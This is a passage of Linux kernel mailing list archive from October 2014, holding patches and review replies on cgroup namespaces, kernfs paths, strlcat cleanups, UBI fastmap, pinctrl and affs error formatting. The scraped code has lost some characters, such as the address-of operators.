+ }
+
+ /* instantiate and link root dentry */
+ dentry = d_obtain_root(inode);
+ if (!dentry) {
+ pr_debug("kernfs: could not get dentry for '");
+ pr_cont_kernfs_path(kn);
+ pr_cont("'.\n");
+ return ERR_PTR(-ENOMEM);
+ }
+
+ /* If this is a new dentry, set it up. We need kernfs_mutex because this
+* may be called by callers other than kernfs_fill_super. */
+ mutex_lock(_mutex);
+ if (!dentry->d_fsdata) {
+ kernfs_get(kn);
+ dentry->d_fsdata = kn;
+ } else {
+ WARN_ON(dentry->d_fsdata != kn);
+ }
+ mutex_unlock(_mutex);
+
+ return dentry;
+}
+
static int kernfs_fill_super(struct super_block *sb, unsigned long magic)
{
struct kernfs_super_info *info = kernfs_info(sb);
diff --git a/include/linux/kernfs.h b/include/linux/kernfs.h
index 3c2be75..b9538e0 100644
--- a/include/linux/kernfs.h
+++ b/include/linux/kernfs.h
@@ -274,6 +274,8 @@ void kernfs_put(struct kernfs_node *kn);
struct kernfs_node *kernfs_node_from_dentry(struct dentry *dentry);
struct kernfs_root *kernfs_root_from_sb(struct super_block *sb);
+struct dentry *kernfs_obtain_root(struct super_block *sb,
+ struct kernfs_node *kn);
struct kernfs_root *kernfs_create_root(struct kernfs_syscall_ops *scops,
unsigned int flags, void *priv);
void kernfs_destroy_root(struct kernfs_root *root);
diff --git a/kernel/cgroup.c b/kernel/cgroup.c
index 2fc0dfa..ef27dc4 100644
--- a/kernel/cgroup.c
+++ b/kernel/cgroup.c
@@ -1302,6 +1302,13 @@ static int parse_cgroupfs_options(char *data, struct
cgroup_sb_opts *opts)
memset(opts, 0, sizeof(*opts));
+ /* Implicitly add CGRP_ROOT_SANE_BEHAVIOR if inside a non-init cgroup
+* namespace.
+*/
+ if (current->nsproxy->cgroup_ns != _cgroup_ns) {
+ opts->flags |= CGRP_ROOT_SANE_BEHAVIOR;
+ }
+
while ((token = strsep(, ",")) != NULL) {
nr_opts++;
@@ -1391,7 +1398,7 @@ static int parse_cgroupfs_options(char *data, struct
cgroup_sb_opts *opts)
if (opts->flags & CGRP_ROOT_SANE_BEHAVIOR) {
pr_warn("sane_behavior: this is still under development and its
behaviors will change, proceed at your own risk\n");
- if (nr_opts != 1) {
+ if (nr_opts > 1) {
pr_err("sane_behavior: no other mount options
allowed\n");
return -EINVAL;
}
@@ -1581,6 +1588,15 @@ static void init_cgroup_root(struct cgroup_root *root,
set_bit(CGRP_CPUSET_CLONE_CHILDREN, >cgrp.flags);
}
+struct dentry *cgroupns_get_root(struct super_block *sb,
+struct cgroup_namespace *ns)
+{
+ struct dentry *nsdentry;
+
+ nsdentry = kernfs_obtain_root(sb, ns->root_cgrp->kn);
+ return nsdentry;
+}
+
static int cgroup_setup_root(struct cgroup_root *root, unsigned int ss_mask)
{
LIST_HEAD(tmp_links);
@@ -1684,6 +1700,14 @@ static struct dentry *cgroup_mount(struct
file_system_type *fs_type,
[PATCHv1 7/8] cgroup: cgroup namespace setns support
setns on a cgroup namespace is allowed only if
* task has CAP_SYS_ADMIN in its current user-namespace and
over the user-namespace associated with target cgroupns.
* task's current cgroup is descendent of the target cgroupns-root
cgroup.
* target cgroupns-root is same as or deeper than task's current
cgroupns-root. This is so that the task cannot escape out of its
cgroupns-root. This also ensures that setns() only makes the task
get restricted to a deeper cgroup hierarchy.
Signed-off-by: Aditya Kali
---
kernel/cgroup_namespace.c | 44 ++--
1 file changed, 42 insertions(+), 2 deletions(-)
diff --git a/kernel/cgroup_namespace.c b/kernel/cgroup_namespace.c
index c16604f..c612946 100644
--- a/kernel/cgroup_namespace.c
+++ b/kernel/cgroup_namespace.c
@@ -80,8 +80,48 @@ err_out:
static int cgroupns_install(struct nsproxy *nsproxy, void *ns)
{
- pr_info("setns not supported for cgroup namespace");
- return -EINVAL;
+ struct cgroup_namespace *cgroup_ns = ns;
+ struct task_struct *task = current;
+ struct cgroup *cgrp = NULL;
+ int err = 0;
+
+ if (!ns_capable(current_user_ns(), CAP_SYS_ADMIN) ||
+ !ns_capable(cgroup_ns->user_ns, CAP_SYS_ADMIN))
+ return -EPERM;
+
+ /* Prevent cgroup changes for this task. */
+ threadgroup_lock(task);
+
+ cgrp = get_task_cgroup(task);
+
+ err = -EINVAL;
+ if (!cgroup_on_dfl(cgrp))
+ goto out_unlock;
+
+ /* Allow switch only if the task's current cgroup is descendant of the
+* target cgroup_ns->root_cgrp.
+*/
+ if (!cgroup_is_descendant(cgrp, cgroup_ns->root_cgrp))
+ goto out_unlock;
+
+ /* Only allow setns to a cgroupns root-ed deeper than task's current
+* cgroupns-root. This will make sure that tasks cannot escape their
+* cgroupns by attaching to parent cgroupns.
+*/
+ if (!cgroup_is_descendant(cgroup_ns->root_cgrp,
+ task_cgroupns_root(task)))
+ goto out_unlock;
+
+ err = 0;
+ get_cgroup_ns(cgroup_ns);
+ put_cgroup_ns(nsproxy->cgroup_ns);
+ nsproxy->cgroup_ns = cgroup_ns;
+
+out_unlock:
+ threadgroup_unlock(current);
+ if (cgrp)
+ cgroup_put(cgrp);
+ return err;
}
static void *cgroupns_get(struct task_struct *task)
--
2.1.0.rc2.206.gedb03e5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 3/8] cgroup: add function to get task's cgroup on default hierarchy
get_task_cgroup() returns the (reference counted) cgroup of the
given task on the default hierarchy.
Signed-off-by: Aditya Kali
---
include/linux/cgroup.h | 1 +
kernel/cgroup.c| 25 +
2 files changed, 26 insertions(+)
diff --git a/include/linux/cgroup.h b/include/linux/cgroup.h
index 1d51968..80ed6e0 100644
--- a/include/linux/cgroup.h
+++ b/include/linux/cgroup.h
@@ -579,6 +579,7 @@ static inline void pr_cont_cgroup_path(struct cgroup *cgrp)
}
char *task_cgroup_path(struct task_struct *task, char *buf, size_t buflen);
+struct cgroup *get_task_cgroup(struct task_struct *task);
int cgroup_add_dfl_cftypes(struct cgroup_subsys *ss, struct cftype *cfts);
int cgroup_add_legacy_cftypes(struct cgroup_subsys *ss, struct cftype *cfts);
diff --git a/kernel/cgroup.c b/kernel/cgroup.c
index cab7dc4..56d507b 100644
--- a/kernel/cgroup.c
+++ b/kernel/cgroup.c
@@ -1916,6 +1916,31 @@ char *task_cgroup_path(struct task_struct *task, char
*buf, size_t buflen)
}
EXPORT_SYMBOL_GPL(task_cgroup_path);
+/*
+ * get_task_cgroup - returns the cgroup of the task in the default cgroup
+ * hierarchy.
+ *
+ * @task: target task
+ * This function returns the @task's cgroup on the default cgroup hierarchy.
The
+ * returned cgroup has its reference incremented (by calling cgroup_get()). So
+ * the caller must cgroup_put() the obtained reference once it is done with it.
+ */
+struct cgroup *get_task_cgroup(struct task_struct *task)
+{
+ struct cgroup *cgrp;
+
+ mutex_lock(_mutex);
+ down_read(_set_rwsem);
+
+ cgrp = task_cgroup_from_root(task, _dfl_root);
+ cgroup_get(cgrp);
+
+ up_read(_set_rwsem);
+ mutex_unlock(_mutex);
+ return cgrp;
+}
+EXPORT_SYMBOL_GPL(get_task_cgroup);
+
/* used to track tasks and other necessary states during migration */
struct cgroup_taskset {
/* the src and dst cset list running through cset->mg_node */
--
2.1.0.rc2.206.gedb03e5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCHv1 1/8] kernfs: Add API to generate relative kernfs path
The new function kernfs_path_from_node() generates and returns
kernfs path of a given kernfs_node relative to a given parent
kernfs_node.
Signed-off-by: Aditya Kali
---
fs/kernfs/dir.c| 53 --
include/linux/kernfs.h | 3 +++
2 files changed, 46 insertions(+), 10 deletions(-)
diff --git a/fs/kernfs/dir.c b/fs/kernfs/dir.c
index a693f5b..8655485 100644
--- a/fs/kernfs/dir.c
+++ b/fs/kernfs/dir.c
@@ -44,14 +44,24 @@ static int kernfs_name_locked(struct kernfs_node *kn, char
*buf, size_t buflen)
return strlcpy(buf, kn->parent ? kn->name : "/", buflen);
}
-static char * __must_check kernfs_path_locked(struct kernfs_node *kn, char
*buf,
- size_t buflen)
+static char * __must_check kernfs_path_from_node_locked(
+ struct kernfs_node *kn_root,
+ struct kernfs_node *kn,
+ char *buf,
+ size_t buflen)
{
char *p = buf + buflen;
int len;
+ BUG_ON(!buflen);
+
*--p = '\0';
+ if (kn == kn_root) {
+ *--p = '/';
+ return p;
+ }
+
do {
len = strlen(kn->name);
if (p - buf < len + 1) {
@@ -63,6 +73,8 @@ static char * __must_check kernfs_path_locked(struct
kernfs_node *kn, char *buf,
memcpy(p, kn->name, len);
*--p = '/';
kn = kn->parent;
+ if (kn == kn_root)
+ break;
} while (kn && kn->parent);
return p;
@@ -92,26 +104,47 @@ int kernfs_name(struct kernfs_node *kn, char *buf, size_t
buflen)
}
/**
- * kernfs_path - build full path of a given node
+ * kernfs_path_from_node - build path of node @kn relative to @kn_root.
+ * @kn_root: parent kernfs_node relative to which we need to build the path
* @kn: kernfs_node of interest
- * @buf: buffer to copy @kn's name into
+ * @buf: buffer to copy @kn's path into
* @buflen: size of @buf
*
- * Builds and returns the full path of @kn in @buf of @buflen bytes. The
- * path is built from the end of @buf so the returned pointer usually
+ * Builds and returns @kn's path relative to @kn_root. @kn_root is expected to
+ * be parent of @kn at some level. If this is not true or if @kn_root is NULL,
+ * then full path of @kn is returned.
+ * The path is built from the end of @buf so the returned pointer usually
* doesn't match @buf. If @buf isn't long enough, @buf is nul terminated
* and %NULL is returned.
*/
-char *kernfs_path(struct kernfs_node *kn, char *buf, size_t buflen)
+char *kernfs_path_from_node(struct kernfs_node *kn_root, struct kernfs_node
*kn,
+ char *buf, size_t buflen)
{
unsigned long flags;
char *p;
spin_lock_irqsave(_rename_lock, flags);
- p = kernfs_path_locked(kn, buf, buflen);
+ p = kernfs_path_from_node_locked(kn_root, kn, buf, buflen);
spin_unlock_irqrestore(_rename_lock, flags);
return p;
}
+EXPORT_SYMBOL_GPL(kernfs_path_from_node);
+
+/**
+ * kernfs_path - build full path of a given node
+ * @kn: kernfs_node of interest
+ * @buf: buffer to copy @kn's name into
+ * @buflen: size of @buf
+ *
+ * Builds and returns the full path of @kn in @buf of @buflen bytes. The
+ * path is built from the end of @buf so the returned pointer usually
+ * doesn't match @buf. If @buf isn't long enough, @buf is nul terminated
+ * and %NULL is returned.
+ */
+char *kernfs_path(struct kernfs_node *kn, char *buf, size_t buflen)
+{
+ return kernfs_path_from_node(NULL, kn, buf, buflen);
+}
EXPORT_SYMBOL_GPL(kernfs_path);
/**
@@ -145,8 +178,8 @@ void pr_cont_kernfs_path(struct kernfs_node *kn)
spin_lock_irqsave(_rename_lock, flags);
- p = kernfs_path_locked(kn, kernfs_pr_cont_buf,
- sizeof(kernfs_pr_cont_buf));
+ p = kernfs_path_from_node_locked(NULL, kn, kernfs_pr_cont_buf,
+sizeof(kernfs_pr_cont_buf));
if (p)
pr_cont("%s", p);
else
diff --git a/include/linux/kernfs.h b/include/linux/kernfs.h
index 30faf79..3c2be75 100644
--- a/include/linux/kernfs.h
+++ b/include/linux/kernfs.h
@@ -258,6 +258,9 @@ static inline bool kernfs_ns_enabled(struct kernfs_node *kn)
}
int kernfs_name(struct kernfs_node *kn, char *buf, size_t buflen);
+char * __must_check kernfs_path_from_node(struct kernfs_node *root_kn,
+ struct kernfs_node *kn, char *buf,
+ size_t buflen);
char * __must_check kernfs_path(struct kernfs_node *kn, char *buf,
size_t buflen);
void pr_cont_kernfs_name(struct kernfs_node *kn);
--
2.1.0.rc2.206.gedb03e5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at
Re: [PATCH v2] char: hw_random: core.c: Changed from using strncat to strlcat
2014-10-12 21:22 GMT+02:00 Jason Cooper :
> Rickard,
>
> On Sun, Oct 12, 2014 at 12:49:31PM +0200, Rickard Strandqvist wrote:
>> Changed from using strncat to strlcat to simplify the code
>
> I'd like to see a little more explicit discussion here. As Guenter got
> caught up in the mis-understanding, I doubt he'd be the only one. I
> think it's worth spelling out that the old code prevents overflowing the
> buffer 'buf' of size PAGE_SIZE. And that strlcat() does that internally
> allowing this code to be more readable.
>
> It should also be mentioned that the final strlen(buf) is safe because
> every operation on buf will insert a NULL terminator within the
> buffers limit.
>
> thx,
>
> Jason.
>
>> Signed-off-by: Rickard Strandqvist
>> ---
>> drivers/char/hw_random/core.c | 12
>> 1 file changed, 4 insertions(+), 8 deletions(-)
>>
>> diff --git a/drivers/char/hw_random/core.c b/drivers/char/hw_random/core.c
>> index aa30a25..1500cfd 100644
>> --- a/drivers/char/hw_random/core.c
>> +++ b/drivers/char/hw_random/core.c
>> @@ -281,7 +281,6 @@ static ssize_t hwrng_attr_available_show(struct device
>> *dev,
>>char *buf)
>> {
>> int err;
>> - ssize_t ret = 0;
>> struct hwrng *rng;
>>
>> err = mutex_lock_interruptible(_mutex);
>> @@ -289,16 +288,13 @@ static ssize_t hwrng_attr_available_show(struct device
>> *dev,
>> return -ERESTARTSYS;
>> buf[0] = '\0';
>> list_for_each_entry(rng, _list, list) {
>> - strncat(buf, rng->name, PAGE_SIZE - ret - 1);
>> - ret += strlen(rng->name);
>> - strncat(buf, " ", PAGE_SIZE - ret - 1);
>> - ret++;
>> + strlcat(buf, rng->name, PAGE_SIZE);
>> + strlcat(buf, " ", PAGE_SIZE);
>> }
>> - strncat(buf, "\n", PAGE_SIZE - ret - 1);
>> - ret++;
>> + strlcat(buf, "\n", PAGE_SIZE);
>> mutex_unlock(_mutex);
>>
>> - return ret;
>> + return strlen(buf);
>> }
>>
>> static DEVICE_ATTR(rng_current, S_IRUGO | S_IWUSR,
>> --
>> 1.7.10.4
Hi
Do not know if I understand this right, you want to explain strlcat
function better then ..?
All these features are more or less stupid really.
You can also read what Linus thinks about this here.
https://plus.google.com/111049168280159033135/posts/1amLbuhWbh5
But while I think this is something you have to learn, rather than
typing it in git comment.
But sure, it's just what i think :-)
Come with a suggestion what you want I add it...
Kind regards
Rickard Strandqvist
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3/4] UBI: Fastmap: Care about the protection queue
Am 13.10.2014 um 17:23 schrieb Artem Bityutskiy: > Well, used and free are RB-trees, looking them up is slow. This is true but we'd have to look it up in multiple trees and the protection queue... > If what you need is to go through all used and free PEBs, then you can > introduce some kind of > > struct ubi_wl_entry *ubi_wl_get_next_used(struct ubi_wl_entry *prev) > > function, and similar functions for the free. > > I would return you the next entry (or NULL would indicate the end), and > it would take the previous entry as the input, or NULL for the first > call. > > We'd need to take the locks before calling this function. This is > cleaner than what we do now, right? ubi_update_fastmap() takes ubi->wl_lock anyway to block any changes in the free, used, etc. trees to make sure that the to be taken state snapshot is consistent. >> But we could add the state information to struct ubi_wl_entry by adding a >> single integer attribute called "state" or "flags". > > But there is a price - memory consumption. We do not want to pay it just > for making the inter-subsystems boundaries better, there ought to be a > better reason. > > Say, for an (imaginary) 8GiB NAND chip with 128KiB PEB size this would > cost 256KiB of RAM. Is 128KiB PEB size still realistic on modern NANDs? Even if, 256KiB are not much and the kernel consumes this additionally with every new release. But I can understand your concerns. > Squeezing the state into the last 2 bits a memory reference would be > another possibility, BTW. Not elegant, though... > >> Would this make you happy? :) > > Not very, I'd save this for the last resort solution. Okay, I'll try harder to make you happy. Thanks, //richard -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
Romain Francoise wrote:
> Commit 1c40279960 ("libata: Un-break ATA blacklist") is apparently not
> included, is in Linus' tree since Friday, and is rather urgent.
As the patch author, I agree. If nothing else, I'd like to be able to take
off this brown paper bag.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] pinctrl: baytrail: add missing module removal support
Hi Linus,
On Mon, Oct 13, 2014 at 03:50:08PM -0500, Felipe Balbi wrote:
> pinctrl-baytrail driver provides a proper ->remove()
> method on its platform_driver definition, however there's
> no way, currently, to unload the driver due to missing
> module_exit(). This patch adds module_exit().
>
> Signed-off-by: Felipe Balbi
This is a quite trivial patch, so not sure you need an Ack from somebody
that has the actual hw. In case you do:
Acked-by: David Cohen
> ---
> drivers/pinctrl/pinctrl-baytrail.c | 7 ++-
> 1 file changed, 6 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/pinctrl/pinctrl-baytrail.c
> b/drivers/pinctrl/pinctrl-baytrail.c
> index e12e5b0..3ece001 100644
> --- a/drivers/pinctrl/pinctrl-baytrail.c
> +++ b/drivers/pinctrl/pinctrl-baytrail.c
> @@ -612,5 +612,10 @@ static int __init byt_gpio_init(void)
> {
> return platform_driver_register(_gpio_driver);
> }
> -
> subsys_initcall(byt_gpio_init);
> +
> +static void __exit byt_gpio_exit(void)
> +{
> + platform_driver_unregister(_gpio_driver);
> +}
> +module_exit(byt_gpio_exit);
> --
> 2.1.0.GIT
>
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] Crypto: gf128mul : fixed a parentheses coding style issue
On Mon, 2014-10-13 at 21:52 +0100, Michael Roocroft wrote: > I fully intend to making more meaningful contributions > when my confidence in writing C is better than it is at the moment. I'll > concentrate > on making any changes to staging whilst I learn and get to grips with git, and > continue to look through the rest of the kernel tree as a learning exercise. Sounds like a good plan to me. welcome btw. > by looking and not doing anything i'll never learn anything. True words... cheers, Joe -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: vxlan gro problem ?
On Mon, Oct 13, 2014 at 11:14 AM, yinpeijun wrote: > On 2014/10/13 3:50, Or Gerlitz wrote: > my test environment use mellanox ConnectX-3 Pro nic , as I know the nic > support Rx checksum offload. but I am not confirm if should I do some > special configure? > or the nic driver or firmware need update ? also , I have used redhat7.0 > ovs vxlan to test with the similar configure as before, but there is also no > improvement . The NIC (HW model and firmware) look just fine. As it seems now, this boils down to get the RHEL7 inbox mlx4 driver to work properly on your setup, something which goes a bit beyond the interest of the upstream mailing lists... Or. > > the nic infomation: > > 04:00.0 Ethernet controller: Mellanox Technologies MT27520 Family [ConnectX-3 > Pro] > > root@localhost:~# ethtool -i eth4 > driver: mlx4_en > version: 2.0(Dec 2011) > firmware-version: 2.31.5050 > bus-info: :04:00.0 > supports-statistics: yes > supports-test: yes > supports-eeprom-access: no > supports-register-dump: no > supports-priv-flags: yes > > > > -- > To unsubscribe from this list: send the line "unsubscribe netdev" in > the body of a message to majord...@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] tools: perf: util: sort.c: Changed from using strncat to strlcat
2014-10-13 14:44 GMT+02:00 Jiri Olsa :
> On Sun, Oct 12, 2014 at 10:40:35PM +0200, Rickard Strandqvist wrote:
>> Changed from using strncat to strlcat to simplify the code
>>
>> Signed-off-by: Rickard Strandqvist
>> ---
>> tools/perf/util/sort.c | 12
>> 1 file changed, 4 insertions(+), 8 deletions(-)
>>
>> diff --git a/tools/perf/util/sort.c b/tools/perf/util/sort.c
>> index 14e5a03..6e242f0 100644
>> --- a/tools/perf/util/sort.c
>> +++ b/tools/perf/util/sort.c
>> @@ -759,8 +759,7 @@ static int hist_entry__snoop_snprintf(struct hist_entry
>> *he, char *bf,
>> size_t size, unsigned int width)
>> {
>> char out[64];
>> - size_t sz = sizeof(out) - 1; /* -1 for null termination */
>> - size_t i, l = 0;
>> + size_t i;
>> u64 m = PERF_MEM_SNOOP_NA;
>>
>> out[0] = '\0';
>> @@ -771,12 +770,9 @@ static int hist_entry__snoop_snprintf(struct hist_entry
>> *he, char *bf,
>> for (i = 0; m && i < NUM_SNOOP_ACCESS; i++, m >>= 1) {
>> if (!(m & 0x1))
>> continue;
>> - if (l) {
>> - strcat(out, " or ");
>> - l += 4;
>> - }
>> - strncat(out, snoop_access[i], sz - l);
>> - l += strlen(snoop_access[i]);
>> + if (*out != '\0')
>> + strlcat(out, " or ", sizeof(out));
>> + strlcat(out, snoop_access[i], sizeof(out));
>
> I've got compile error..
>
> [jolsa@krava perf]$ make JOBS=1
> BUILD: Doing 'make -j1' parallel build
> CC perf.o
> CC builtin-annotate.o
> CC builtin-bench.o
> CC bench/sched-messaging.o
> CC bench/sched-pipe.o
> CC util/sort.o
> util/sort.c: In function ‘hist_entry__snoop_snprintf’:
> util/sort.c:778:4: error: implicit declaration of function ‘strlcat’
> [-Werror=implicit-function-declaration]
> strlcat(out, " or ", sizeof(out));
> ^
> util/sort.c:778:4: error: nested extern declaration of ‘strlcat’
> [-Werror=nested-externs]
> cc1: all warnings being treated as errors
> make[1]: *** [util/sort.o] Error 1
> make: *** [all] Error 2
Hi
Sorry, I saw an improvement without thinking about that tools/ does
not have access to those functions :-(
Kind regards
Rickard Strandqvist
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/1 linux-next] fs/affs/amigaffs.c: use va_format instead of buffer/vnsprintf
On Mon, 2014-10-13 at 22:39 +0200, Fabian Frederick wrote: > Remove ErrorBuffer and use %pV Maybe fix the format/argument mismatches too. https://lkml.org/lkml/2010/11/10/544 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] pinctrl: baytrail: add missing module removal support
pinctrl-baytrail driver provides a proper ->remove()
method on its platform_driver definition, however there's
no way, currently, to unload the driver due to missing
module_exit(). This patch adds module_exit().
Signed-off-by: Felipe Balbi
---
drivers/pinctrl/pinctrl-baytrail.c | 7 ++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/drivers/pinctrl/pinctrl-baytrail.c
b/drivers/pinctrl/pinctrl-baytrail.c
index e12e5b0..3ece001 100644
--- a/drivers/pinctrl/pinctrl-baytrail.c
+++ b/drivers/pinctrl/pinctrl-baytrail.c
@@ -612,5 +612,10 @@ static int __init byt_gpio_init(void)
{
return platform_driver_register(_gpio_driver);
}
-
subsys_initcall(byt_gpio_init);
+
+static void __exit byt_gpio_exit(void)
+{
+ platform_driver_unregister(_gpio_driver);
+}
+module_exit(byt_gpio_exit);
--
2.1.0.GIT
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] Crypto: gf128mul : fixed a parentheses coding style issue
On 10/13/14 21:15, Joe Perches wrote: On Mon, 2014-10-13 at 21:12 +0100, Michael Roocroft wrote: On 10/13/14 00:01, Joe Perches wrote: On Sun, 2014-10-12 at 21:49 +0100, Mike Roocroft wrote: Fixed a coding style issue. [] diff --git a/crypto/gf128mul.c b/crypto/gf128mul.c [] @@ -97,7 +97,7 @@ the table above */ -#define xx(p, q) 0x##p##q +#define xx(p, q) (0x##p##q) #define xda_bbe(i) ( \ (i & 0x80 ? xx(43, 80) : 0) ^ (i & 0x40 ? xx(21, c0) : 0) ^ \ I think that macro is pretty useless and nothing but obfuscation now. The comment above it doesn't seem useful either. How about just removing and replacing the uses like this? --- crypto/gf128mul.c | 27 --- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/crypto/gf128mul.c b/crypto/gf128mul.c index 5276607..90cf17d 100644 --- a/crypto/gf128mul.c +++ b/crypto/gf128mul.c @@ -88,29 +88,18 @@ q(0xf8), q(0xf9), q(0xfa), q(0xfb), q(0xfc), q(0xfd), q(0xfe), q(0xff) \ } -/* Given the value i in 0..255 as the byte overflow when a field element -in GHASH is multiplied by x^8, this function will return the values that -are generated in the lo 16-bit word of the field value by applying the -modular polynomial. The values lo_byte and hi_byte are returned via the -macro xp_fun(lo_byte, hi_byte) so that the values can be assembled into -memory as required by a suitable definition of this macro operating on -the table above -*/ - -#define xx(p, q) 0x##p##q - #define xda_bbe(i) ( \ - (i & 0x80 ? xx(43, 80) : 0) ^ (i & 0x40 ? xx(21, c0) : 0) ^ \ - (i & 0x20 ? xx(10, e0) : 0) ^ (i & 0x10 ? xx(08, 70) : 0) ^ \ - (i & 0x08 ? xx(04, 38) : 0) ^ (i & 0x04 ? xx(02, 1c) : 0) ^ \ - (i & 0x02 ? xx(01, 0e) : 0) ^ (i & 0x01 ? xx(00, 87) : 0) \ + (i & 0x80 ? 0x4380 : 0) ^ (i & 0x40 ? 0x21c0 : 0) ^ \ + (i & 0x20 ? 0x10e0 : 0) ^ (i & 0x10 ? 0x0870 : 0) ^ \ + (i & 0x08 ? 0x0438 : 0) ^ (i & 0x04 ? 0x021c : 0) ^ \ + (i & 0x02 ? 0x010e : 0) ^ (i & 0x01 ? 0x0087 : 0) \ ) #define xda_lle(i) ( \ - (i & 0x80 ? xx(e1, 00) : 0) ^ (i & 0x40 ? xx(70, 80) : 0) ^ \ - (i & 0x20 ? xx(38, 40) : 0) ^ (i & 0x10 ? xx(1c, 20) : 0) ^ \ - (i & 0x08 ? xx(0e, 10) : 0) ^ (i & 0x04 ? xx(07, 08) : 0) ^ \ - (i & 0x02 ? xx(03, 84) : 0) ^ (i & 0x01 ? xx(01, c2) : 0) \ + (i & 0x80 ? 0xe100 : 0) ^ (i & 0x40 ? 0x7080 : 0) ^ \ + (i & 0x20 ? 0x3840 : 0) ^ (i & 0x10 ? 0x1c20 : 0) ^ \ + (i & 0x08 ? 0x0e10 : 0) ^ (i & 0x04 ? 0x0708 : 0) ^ \ + (i & 0x02 ? 0x0384 : 0) ^ (i & 0x01 ? 0x01c2 : 0) \ ) static const u16 gf128mul_table_lle[256] = gf128mul_dat(xda_lle); Hi there, Hi Mike. I'm not really contributing anything other than getting code checkpatch clean, whilst I relearn C and get a feel for various parts of the kernel. checkpatch cleanliness, while OK for some parts of the kernel, should not be an end-goal. checkpatch is really a tool to "check patches". If you want to submit neatening only patches, please do your changes in drivers/staging/ Otherwise, please look for code that isn't simply a style neatening bit, but something that actively makes reading the code easier, makes the object code smaller or faster, reduces complexity, adds extensibility, etc, etc... cheers, Joe Hi Joe Thanks for the Advice, I fully intend to making more meaningful contributions when my confidence in writing C is better than it is at the moment. I'll concentrate on making any changes to staging whilst I learn and get to grips with git, and continue to look through the rest of the kernel tree as a learning exercise. I am extremely new to all this and a little overwhelmed, but by looking and not doing anyhing i'll never learn anything. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH 1/1 linux-next] fs/affs/amigaffs.c: use va_format instead of buffer/vnsprintf
Remove ErrorBuffer and use %pV
Cc: Joe Perches
Cc: Andrew Morton
Signed-off-by: Fabian Frederick
---
fs/affs/amigaffs.c | 28 +---
1 file changed, 13 insertions(+), 15 deletions(-)
diff --git a/fs/affs/amigaffs.c b/fs/affs/amigaffs.c
index abc8539..9643bdd 100644
--- a/fs/affs/amigaffs.c
+++ b/fs/affs/amigaffs.c
@@ -10,8 +10,6 @@
#include "affs.h"
-static char ErrorBuffer[256];
-
/*
* Functions for accessing Amiga-FFS structures.
*/
@@ -444,30 +442,30 @@ mode_to_prot(struct inode *inode)
void
affs_error(struct super_block *sb, const char *function, const char *fmt, ...)
{
- va_list args;
-
- va_start(args,fmt);
- vsnprintf(ErrorBuffer,sizeof(ErrorBuffer),fmt,args);
- va_end(args);
+ struct va_format vaf;
+ va_list args;
- pr_crit("error (device %s): %s(): %s\n", sb->s_id,
- function,ErrorBuffer);
+ va_start(args, fmt);
+ vaf.fmt = fmt;
+ vaf.va =
+ pr_crit("error (device %s): %s(): %pV\n", sb->s_id, function, );
if (!(sb->s_flags & MS_RDONLY))
pr_warn("Remounting filesystem read-only\n");
sb->s_flags |= MS_RDONLY;
+ va_end(args);
}
void
affs_warning(struct super_block *sb, const char *function, const char *fmt,
...)
{
- va_list args;
+ struct va_format vaf;
+ va_list args;
- va_start(args,fmt);
- vsnprintf(ErrorBuffer,sizeof(ErrorBuffer),fmt,args);
+ va_start(args, fmt);
+ vaf.fmt = fmt;
+ vaf.va =
+ pr_warn("(device %s): %s(): %pV\n", sb->s_id, function, );
va_end(args);
-
- pr_warn("(device %s): %s(): %s\n", sb->s_id,
- function,ErrorBuffer);
}
bool
--
1.9.3
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] staging: comedi: drivers: comedi_bond.c: Changed from using strncat to strlcat
2014-10-13 11:14 GMT+02:00 Ian Abbott :
> On 12/10/14 13:23, Rickard Strandqvist wrote:
>>
